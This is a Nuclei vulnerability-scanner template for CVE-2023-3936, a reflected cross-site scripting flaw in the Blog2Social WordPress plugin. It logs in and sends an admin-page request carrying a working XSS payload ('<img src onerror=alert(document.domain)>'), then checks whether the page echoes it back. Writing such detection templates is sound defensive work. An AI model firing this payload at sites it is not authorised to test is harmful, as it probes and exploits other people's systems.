nuclei-templates/http/cves/2023/CVE-2023-3936.yaml

id: CVE-2023-3936

info:
  name: Blog2Social < 7.2.1 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  remediation: |
    Update to the latest version of the Blog2Social plugin (7.2.1) or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6d09a5d3-046d-47ef-86b4-c024ea09dc0f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3936
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3936
    cwe-id: CWE-79
    epss-score: 0.00064
    epss-percentile: 0.26532
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: wpscan,cve,cve2023,wordpress,wp-plugin,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Deleted 1<img src onerror=alert(document.domain)> posts"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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